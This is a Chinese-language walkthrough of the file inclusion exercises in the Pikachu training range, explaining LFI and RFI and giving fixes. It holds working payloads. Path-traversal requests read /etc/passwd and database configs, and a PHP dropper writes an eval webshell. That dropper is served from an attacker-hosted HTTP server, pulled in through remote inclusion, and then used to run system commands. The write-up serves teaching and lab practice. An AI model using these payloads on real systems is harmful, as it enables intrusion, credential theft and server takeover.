Pikachu靶场-File Inclusion
文件包含漏洞(File Inclusion Vulnerability)是Web应用程序中的一种常见安全漏洞,通常由于开发者未对用户输入进行严格过滤,导致攻击者能够包含并执行恶意文件。这种漏洞主要分为两种类型:
1. 漏洞类型
- 本地文件包含(LFI, Local File Inclusion)
攻击者通过篡改参数,包含服务器本地的敏感文件(如配置文件、日志文件等)。
示例:
<?php include($_GET['page']); ?>
若用户提交 ?page=../../etc/passwd,可能读取系统文件。 - 远程文件包含(RFI, Remote File Inclusion)
攻击者包含远程服务器上的恶意文件(需服务器配置允许,如PHP中allow_url_include=On)。
示例:
<?php include($_GET['page'] . '.php'); ?>
若用户提交 ?page=http://attacker.com/shell,可能加载远程恶意脚本。
2. 漏洞危害
- 读取敏感文件(如/etc/passwd、数据库配置文件)。
- 执行任意代码(通过包含恶意文件或日志注入)。
- 结合文件上传漏洞,实现完全控制服务器。
3. 常见利用方式
- 路径遍历:
使用../绕过目录限制,如?page=../../var/log/apache2/access.log。 - 伪协议利用(PHP):
通过php://filter读取文件内容:
?page=php://filter/convert.base64-encode/resource=config.php。 - 日志注入:
向日志文件写入PHP代码后包含日志文件。 - 远程URL包含:
直接包含攻击者控制的远程脚本。
4. 防御措施
- 输入验证与白名单:
仅允许用户输入预定义的合法值(如home.php、about.php),拒绝动态拼接路径。
$allowed_pages = ['home', 'about'];
$page = isset($_GET['page']) ? $_GET['page'] : 'home';
if (!in_array($page, $allowed_pages)) {
die('Invalid page!');
}
include($page . '.php'); - 禁用危险配置:
在PHP中关闭远程文件包含:
allow_url_include = Off
allow_url_fopen = Off - 限制文件访问范围:
使用open_basedir限制PHP可访问的目录:
open_basedir = /var/www/html - 避免动态包含:
尽量使用静态文件映射,而非直接包含用户输入。 - 规范化路径:
使用realpath()和basename()解析绝对路径,避免路径遍历:
$page = basename(realpath($_GET['page'] . '.php')); - 错误处理:
禁用详细错误信息(如PHP中设置display_errors=Off),避免泄露服务器路径。
5. 其他注意事项
- 代码审计:
检查所有文件操作函数(如include、require、file_get_contents)是否使用用户输入。 - Web服务器配置:
限制目录权限,避免Web用户访问系统关键文件。 - 框架安全性:
使用现代框架(如Laravel、Django)内置的安全机制,减少手动处理风险。
本地文件包含
1,观察网站,提供了一个选择框,运行用户根据名字选择提交查询
观察URL栏分析是通过GET方式对本地一个文件资源进行包含,然后将内容渲染到此页面
2,然后通过模糊测试判断存在哪些文件能够被包含,先使用burpsuite抓一个包
右键发送到Intruder模块,设置file2.php为替换的变量,选择sniper模式
字典选择数字1-50
攻击之后成功得到一些页面
得到账户密码
网站源代码存在本地文件包含(Local File Inclusion, LFI)漏洞
漏洞点分析
if(isset($_GET['submit']) && $_GET['filename']!=null){
$filename=$_GET['filename'];
include "include/$filename"; // 直接包含用户控制的变量
}
漏洞原理
- 未过滤用户输入:直接使用$_GET['filename']拼接路径,未对用户输入进行任何过滤或白名单校验。
- 动态包含文件:通过include语句直接包含用户指定的文件,攻击者可以利用目录遍历(如../../)读取服务器任意文件。
攻击示例
- 读取系统文件:
/fi_local.php?filename=../../../../etc/passwd&submit=Submit
可能泄露系统敏感信息。 - 包含本地PHP文件:
/fi_local.php?filename=../../config/db.php&submit=Submit
可能暴露数据库凭据等敏感配置。 - 结合文件上传:
若存在上传功能,上传含PHP代码的图片后包含:
/fi_local.php?filename=../uploads/evil.jpg&submit=Submit
可执行任意代码。
安全建议
- 白名单验证:
$allowed = ['file1.php','file2.php','file3.php','file4.php','file5.php'];
if(in_array($filename, $allowed)){
include "include/$filename";
} - 路径固定:
$baseDir = 'include/';
$file = basename($filename); // 去除路径
if(file_exists($baseDir.$file)){
include $baseDir.$file;
}
禁用危险函数:在php.ini中设置open_basedir限制文件访问范围。
漏洞总结
漏洞类型 | 风险等级 | 利用条件 | 潜在影响 |
本地文件包含 | 高危 | 攻击者能控制输入 | 敏感信息泄露、远程代码执行 |
修复关键:永远不要信任用户输入,对文件包含参数做严格白名单限制。
远程文件包含
1,观察网站,提供了一个选择框,运行用户根据名字选择提交查询
因为是远程文件包含漏洞,所以就要靶场远程包含到攻击者的恶意木马
2,攻击者准备恶意文件,在攻击机(192.168.23.182)上创建包含恶意代码的文本文件(如 hack.php),内容如下:
<?php fputs(fopen('shell.php', 'w'), '<?php @eval($_POST["cmd"]); ?>');?>
此代码会在靶机服务器上生成一个名为 shell.php 的WebShell,允许通过POST参数执行任意命令
3,启动HTTP服务,在攻击机上使用Python快速启动HTTP服务:
python -m http.server
确保靶机可通过 http://192.168.23.182:8000/malicious.txt 访问该文件
4,构造恶意请求触发漏洞,攻击者通过修改靶场URL的 filename 参数,指向远程恶意文件:
http://192.168.23.154/06/vul/fileinclude/fi_remote.php?filename=http://192.168.23.182:8000/hack.php&submit=提交查询
当靶机解析此请求时,会包含并执行远程文件,从而在靶机Web目录生成 shell.php
5,连接WebShell验证攻击,使用蚁剑工具连接生成的WebShell:
URL: http://192.168.23.154/06/vul/fileinclude/shell.php
http://192.168.23.154/06/vul/fileinclude/fi_remote.php?filename=shell.php&submit=%E6%8F%90%E4%BA%A4%E6%9F%A5%E8%AF%A2
参数解析:filename=shell.php 表示尝试包含本地文件 shell.php。
漏洞触发逻辑:
- 靶场代码 fi_remote.php 中存在未过滤的本地文件包含漏洞。
- 攻击者已通过之前的RFI攻击在服务器上生成 shell.php。
- 此时通过包含 shell.php,直接执行其中的恶意代码,激活WebShell。
关键原因解释
步骤 | 说明 |
文件生成 | 前序RFI攻击成功写入 shell.php,其内容含WebShell代码(如 <?php @eval($_POST["cmd"]);?>)。 |
本地包含 | fi_remote.php 未限制本地文件包含路径,允许直接加载 shell.php。 |
代码执行 | 包含 shell.php 后,WebShell代码被解析执行,开放POST命令执行入口。 |
通过POST请求发送命令(如 cmd=system('whoami');)可获取服务器权限
漏洞利用条件
- PHP配置要求:
- allow_url_include=On:允许通过URL包含远程文件。
- allow_url_fopen=On:允许打开远程文件(默认关闭)。
- magic_quotes_gpc=Off:不自动转义特殊字符(PHP 5.3.0以下版本需关闭)。
- 代码中的配置检查:
$html1='';
if(!ini_get('allow_url_include')){
$html1.="<p style='color: red'>warning:你的allow_url_include没有打开...</p>";
}
$html2='';
if(!ini_get('allow_url_fopen')){
$html2.="<p style='color: red;'>warning:你的allow_url_fopen没有打开...</p>";
}
靶场代码会检测PHP配置,若未开启远程文件包含功能会显示警告。
实际攻击需确保靶机PHP配置满足上述条件(一般需要手动开启)。